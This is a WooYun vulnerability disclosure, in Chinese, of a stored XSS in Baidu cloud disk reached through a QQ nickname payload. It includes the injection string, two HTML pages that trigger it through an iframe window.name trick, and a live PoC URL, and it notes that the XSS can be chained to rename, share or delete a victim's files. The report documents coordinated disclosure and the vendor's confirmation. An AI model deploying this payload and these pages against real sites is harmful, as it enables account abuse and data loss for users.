当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-089971

漏洞标题：百度云网盘存储型XSS(依然可CSRF改名/共享/删除文件)

相关厂商：百度

漏洞作者： 超威蓝猫

提交时间：2015-01-05 00:34

修复时间：2015-02-19 00:36

公开时间：2015-02-19 00:36

漏洞类型：xss跨站脚本攻击

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-05： 细节已通知厂商并且等待厂商处理中
2015-01-05： 厂商已经确认，细节仅向厂商公开
2015-01-15： 细节向核心白帽子及相关领域专家公开
2015-01-25： 细节向普通白帽子公开
2015-02-04： 细节向实习白帽子公开
2015-02-19： 细节向公众公开

简要描述：

这个漏洞依然影响 yun.baidu.com 和 pan.baidu.com ；我在 wooyun-2014-077970 中提到的通过xmlHttp发送请求来改名/共享/删除文件的方法依然可用。

详细说明：

注册一个QQ，将昵称修改为以下代码后，使用这个QQ登录百度云网盘。

"onmouseout=eval(window.name)//


分享一个文件后，在文件下载页提交一条评论，双引号爆炸啦！
http://pan.baidu.com/s/1bn8hgV9

sshot-2015-01-04-[1].png


这样，在iframe中引用该页面并加上name属性就可以执行我们的js了：

sshot-2015-01-04-[2].png


借用m神 @mramydnei 的代码，我们可以构造如下页面来实现“鼠标在页面任意处移动即可触发XSS”
page1.html:

<style>
html, body {
  cursor: pointer;
}
#box, #box > * {
  position: absolute;
  width: 100px;
  height: 1400px;
  border: 1px solid red;
  opacity: 100;
}
#victim {
  border: none;
}
</style>
<div id="box">
  <iframe id="victim" src="page2.html" scrolling="no"></iframe>
</div>
<script src="http://s1.bdstatic.com/r/www/cache/static/jquery/jquery-1.10.2.min.js"></script>
<script>
$(document).mousemove(function(e) {
  var x = e.pageX;
  var y = e.pageY;
  $('#box').css({left: x - 50, top: y - 750});
});
</script>


page2.html:

<style>
html, body {
  width: 10000px;
  height: 10000px;
}
iframe {
  width: 800px;
  height: 1400px;
}
</style>
<iframe src="http://pan.baidu.com/s/1bn8hgV9" name=alert(location)></iframe>


PoC: http://218.66.75.117:8080/baidu0104_2.html (由于浏览器字体和自定义CSS存在差异，坐标计算可能有偏差，这个PoC不一定在所有环境下都生效)
至于这个XSS有啥用，请参考 http://wooyun.org/bugs/wooyun-2014-077970 。这里面提到过利用xmlHttp发送改名/共享/删除等操作请求，到现在还是可用的。

漏洞证明：

http://218.66.75.117:8080/baidu0104_2.html
http://pan.baidu.com/s/1bn8hgV9

修复方案：

快过年了送份礼物吧 :)

版权声明：转载请注明来源 超威蓝猫@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2015-01-05 16:32

厂商回复：

感谢提交，已通知业务部门处理

最新状态：

暂无